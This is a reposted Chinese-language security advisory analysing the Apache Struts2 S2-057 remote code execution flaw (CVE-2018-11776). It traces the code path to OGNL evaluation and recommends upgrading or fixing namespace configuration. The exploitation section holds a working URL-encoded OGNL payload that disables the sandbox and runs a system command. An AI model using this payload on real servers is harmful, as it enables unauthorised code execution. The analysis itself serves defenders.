首頁 > 運維 > 安全 > 如何進行Apache Struts2 S2-057遠端程式碼執行漏洞分析

如何進行Apache Struts2 S2-057遠端程式碼執行漏洞分析

PHPz
發布: 2023-05-15 21:43:04
轉載
1960 人瀏覽過

前言

Apache Struts框架是基於Java Servlets,JavaBeans, 和JavaServer Pages (JSP)的Web應用框架的開源項目,Struts基於Model-View-Controller (MVC)的設計模式,可以用來構件複雜的Web應用。它允許我們分解一個應用程式的商業邏輯、控制邏輯和表現邏輯的程式碼,使它的重用性和維護性更好。 Struts框架是Jakarta工程的一部分,由Apache軟體基金會管理。

天融信阿爾法實驗室將為你帶來Apache Struts2 S2-057遠端程式碼執行漏洞分析~

一、 漏洞描述

當struts.mapper.alwaysSelectFullNamespace設定為true,並且package標籤頁以及result的param標籤頁的namespace值的缺失,或使用了通配符時可造成namespace被控制,最終namespace會被帶入OGNL語句執行,從而產生遠端程式碼執行漏洞。

1. 受影響的系統版本

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

2.漏洞編號

CVE-2018-11776

二、環境建置

1.下載:http://archive.apache.org/dist/struts/2.3.34/ struts-2.3.34-all.zip

2. 修改設定檔struts-actionchaining.xml

此漏洞有多種攻擊向量包括:

#Redirect action

Action chaining

Postback result

#以第一種為例子,修改設定檔內容為:

##    如何进行Apache Struts2 S2-057远程代码执行漏洞分析

三、漏洞細節

在DefaultActionMapper這個類別的parseNameAndNamespace方法裡。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

當alwaysSelectFullNamespace設定為true時,namespace的值是從URL中取得的。 URL是可控制的,所以namespace也是可控制的。

Action執行結束之後,程式會呼叫ServletActionRedirectResult類別中的execute()方法進行重定向Result的解析。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

首先,當namespace為空時,呼叫invocation.getProxy().getNamespace()賦值給變數namespace,然後將變數namespace傳入ActionMapping建構函式中。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

然後,ActionMapper.getUriFromActionMapping()對ActionMapping後的值進行重組,產生一個URL字串(包含namespace),並賦值給了tmplocation變數。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

緊接著將帶有namespace的tmplocation傳入了setLocation()方法。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

該方法將tmpLocation值賦值給了StrutsResultSupport類別中的location變數。

然後,追蹤super.execute()方法。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

繼續追蹤ServletActionResult類別中的super.execute()。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

在StrutsResultSupport類別中的execute()方法中,剛剛被賦值的location變數(帶有namespace的)被傳入了conditionalParse()方法。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

最終,透過TextParseUtil.translateVariables()對namespace進行OGNL解析,導致遠端程式碼執行漏洞。

四、漏洞利用

1. 存取url 為/${(111 111)}/actionChain1.action的位址。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

存取觸發OGNL表達式,url變成/222/register2.action,漏洞存在。

2. payload:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
登入後複製
此payload 僅適用於2.3系列版本。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

五、修復建議

1. 官方修補程式

目前官方已發布最新版本來修復此漏洞,受影響的用戶請盡快升級至Apache Struts 2.3.35 或Struts 2.5.17版本:https://struts.apache.org/download.cgi#struts2517。

2. 手動修復

修改設定檔:

固定package標籤頁以及result的param標籤頁的namespace值,以及禁止使用萬用字元。

以上是如何進行Apache Struts2 S2-057遠端程式碼執行漏洞分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:yisu.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板